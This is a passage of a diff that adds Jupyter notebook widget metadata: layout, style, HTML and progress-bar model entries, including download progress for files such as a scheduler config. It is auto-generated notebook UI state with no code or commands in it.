"305d426ec46a4d14876f9d988fa7cb5c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_6b403cea94ae4e2887302d164e991cf8", + "IPY_MODEL_c59286b70fe74bbea779bbfae03e1a87", + "IPY_MODEL_d138d9f2076c493da68ff7edb0bc36c7" + ], + "layout": "IPY_MODEL_04ec14e8bc8f4ad5827e351c01e5a1ee" + } + }, + "30e99a47aedb446ab999975c08fd96e3": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "330eb2500161464db0d797d2f04e550f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_8e7b4587729f4fe597e2342b9e8c5b06", + "IPY_MODEL_c4d2925dd1dd40bab2b22f09bf9497e6", + "IPY_MODEL_55470891a5ad41f2b04d3d5c86c1c934" + ], + "layout": "IPY_MODEL_0afcffbca4c1462ba2bc1d3cd1aa2c13" + } + }, + "3467d3ba1eeb44c69149cdbc55469f39": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "3593ebaab56e4bca9706c5775ae87b75": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_dc8d5cf759be4ab08d801e1d4758b34a", + "IPY_MODEL_ef3472cacb4d426cbacec25777507432", + "IPY_MODEL_d5a6cb28917b48d4910903e016319aec" + ], + "layout": "IPY_MODEL_ba1422edddc447b78ba7fbf4ba11e364" + } + }, + "36cb537e89324f54b767df1e24045108": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "3808c4765a054dd0a2771050871177a4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "39a24d7b46f2428597c345b1d0ac8680": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "39e7952fd2c34271a44ca997250a313c": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "3b7d6992813e4a32aa5c6d959ac24b27": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "3b9b27b4550c453f82f000c03d1209a7": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_c4783205744246c99a52bb6bb8df3d7d", + "max": 806, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_7d941358dd1b4298bf1bf803b625f764", + "value": 806 + } + }, + "3bcb60cbd7ab48e2884460a1e539bd12": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "3bfe8491fdc84726a9a2ea2a9eb33884": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_7be8f4522cdc41f08c69b4a36520eb5a", + "placeholder": "​", + "style": "IPY_MODEL_ebfab18cc7484b71bb252d4e242e3b40", + "value": " 30/30 [00:07<00:00, 3.81it/s]" + } + }, + "3bffddd95fdf4e3c896e1554a239273a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "3c3af60f4f07476c8700910b4259a066": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "3d4c455dc8344c7b8b42a609322713e8": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "3eccfb04c05445f8a45a56afd74f7e41": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_afea13c7ba3a44eeab58c5069f677a61", + "IPY_MODEL_0b695e5be5184a43a9f26b21f69a4338", + "IPY_MODEL_b6e068b2f21844dc9c184ec49af6b48f" + ], + "layout": "IPY_MODEL_dc22f7fca8eb4d258406b3b53af177cc" + } + }, + "3f197b982242418bb24f4156db991c19": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_56310a7fb0804b43a60815c858d910c5", + "max": 20, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_a401d37863744fd58fe863b27d6a562b", + "value": 20 + } + }, + "3f2fee0c35144daf8234caf57ad3907e": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "405d6f07be5743be8ea10f7e2d4ee73d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_3b7d6992813e4a32aa5c6d959ac24b27", + "placeholder": "​", + "style": "IPY_MODEL_78684c2b2b05406ba992fe197c947bcc", + "value": "Downloading (…)cheduler_config.json: 100%" + } + }, + "40ea712393314cfe9452f6b14bfd58e6": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "422cdb3a6aed4177aba5f6e9ac77e1bf": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "42f14a72c44047b695a6b2bfc5184370": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "43ac63628b35419cb9db5d234951e84f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "440bb669cff048cea2363b50d28521ed": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "44638b1824bc48de85029440f2f4a612": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_bb3842e44e0a49f2bec66a0bbb971348", + "max": 616, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_30e99a47aedb446ab999975c08fd96e3", + "value": 616 + } + }, + "48b23ac8e7ce46239504712135b41444": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "48d6f53c34b84be4a219cc30ac539aeb": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "48e9b5493b8f4191b9707df7c83b0f50": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "48faccb381254cd99a649c239a419649": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "4afa3f9ee15546c1979113f0e618efcf": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "4b313724533349be92ef5cb53c1388cd": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "4b39f1322aca40da82220ddcfa0c3975": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "4b63548f0285403e9e4f2431632cc3ae": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_0a2014cc648840249d57eb9c569e9fa1", + "max": 617, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_3467d3ba1eeb44c69149cdbc55469f39", + "value": 617 + } + }, + "4cbd69647642484f9058b10156001882": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_cce1c917ad4a4b2c93369e249cd1c13c", + "placeholder": "​", + "style": "IPY_MODEL_ff7172bc118f4f22bc1acbe531787b42", + "value": " 472/472 [00:00<00:00, 10.6kB/s]" + } + }, + "4d91d312e2ff43509652ce52d7d999d3": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "4dc4d2c609eb40eaa6df50be567b2c61": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "4dc511c396c5492c8d707ba52783edcb": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "4e3739037f2b44d2bd1ecaa20b29d70c": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "4e3eebfc758c467fbf44e81c0de7068d": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "4e55fede968943718a3c10962f5f708b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "4e8ec740f2ba45d1817c46b449e34423": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + 